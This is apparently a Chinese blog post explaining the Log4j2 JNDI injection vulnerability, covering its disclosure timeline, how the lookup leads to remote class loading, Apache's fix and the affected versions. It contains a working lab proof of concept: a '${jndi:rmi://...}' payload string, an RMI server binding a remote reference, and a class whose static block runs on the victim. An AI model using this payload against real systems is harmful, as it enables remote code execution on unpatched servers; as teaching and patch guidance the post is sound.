外行人看热闹,内行人看门道。
https://github.com/apache/logging-log4j2
LOG4J2-3201 - Limit the protocols JNDI can use by default. Limit the …
LOG4J2-3198 - Log4j2 no longer formats lookups in messages by default
事件回顾
2021.11.24阿里云安全团队向Apache报告这个漏洞,Apache并于2021.12.05修复并上传2.15.0修复版本,随后公开。此重量级的漏洞便在网络蔓延并引爆。
因为log4j这个组件在java领域被广泛使用,所以波及范围极为广泛。该漏洞非常容易利用,可以执行任意代码。大规模的Minecraft服务器以及不同级别企业服务器受到攻击。
来看一篇报道:比利时公开承认遭Log4j漏洞攻击 导致国防部部分网络宕机
作为Java后端开发者来说,是得好好研究下,接下来将从漏洞执行逻辑以及实例来说明。
大概执行逻辑
黑客在自己的客户端启动一个带有恶意代码的rmi服务,通过服务端的log4j的漏洞,向服务端的jndi context lookup的时候连接自己的rmi服务器,服务端连接rmi服务器执行lookup的时候会通过rmi查询到该地址指向的引用并且本地实例化这个类,所以在类中的构造方法或者静态代码块中写入逻辑,就会在服务端(jndi rmi过程中的客户端)实例化的时候执行到这段逻辑,导致jndi注入。
实例
pom.xml
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.0</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.0</version>
</dependency>
Main.java
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Main {
private static final Logger LOGGER = LogManager.getLogger(Main.class);
public static void main(String[] args) {
String temp = "123";
String temp2 = "${java:os}";
String temp3 = "${jndi:rmi://192.168.31.230:1099/test}";
LOGGER.error("文本:{}", temp3);
}
}
MyServer.java
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class MyServer {
public static void main(String[] args) {
try {
LocateRegistry.createRegistry(1099);
Registry registry = LocateRegistry.getRegistry();
System.out.println("在端口1099创建了RMI远程接口");
Reference reference = new Reference("com.rawchen.rmi.MyObj", "com.rawchen.rmi.MyObj", null);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("test", referenceWrapper);
} catch (RemoteException | NamingException | AlreadyBoundException e) {
e.printStackTrace();
}
}
}
MyObj.java
public class MyObj {
static {
System.out.println("执行!");
}
}
先运行MyServer中的main方法跑服务,假定该服务为一个远端服务及非本地服务。
再运行Main中的main方法,执行jndi调用rmi到远端192.168.31.230:1099中绑定的test关联名称,即可在Main这一端中查看到远端中执行了打印的内容。
所以通常用户输入的信息后端如果进行log.info(),那么即可在输入框输入${jndi:rmi://192.168.31.230:1099/test}
,即可被恶意用户远程执行相关敏感操作。
分析
log4j存在Java Lookup
(允许使用Java:前缀以方便的预先格式化的字符串检索Java环境信息。)与Jndi Lookup
(JndiLookup允许通过JNDI检索变量。默认情况下,该键将以java:comp/env/作为前缀,但是如果该键包含一个":",则不会添加前缀。),因此log.info()方法作为占位替换依然去解析占位字符串已经失去了单纯的字符串占位意义。
具体解决
根据以上Apache的commit来看,拓展了相关接口,限制了JNDI默认情况下可以使用的相关协议,增加了主机白名单、类白名单、协议白名单等。针对lookups重新做了正则匹配。默认情况下,Log4j2不再格式化消息中的查找Lookup。
因此,网友说得对:一个日志组件不老实做自己该做的事,老是想着功能大而全。
波及范围
Apache Log4j 2.x <= 2.14.1
修复
升级该组件版本到log4j-2.15.0-rc2
及之后
一大早就看到新闻 阿里被点名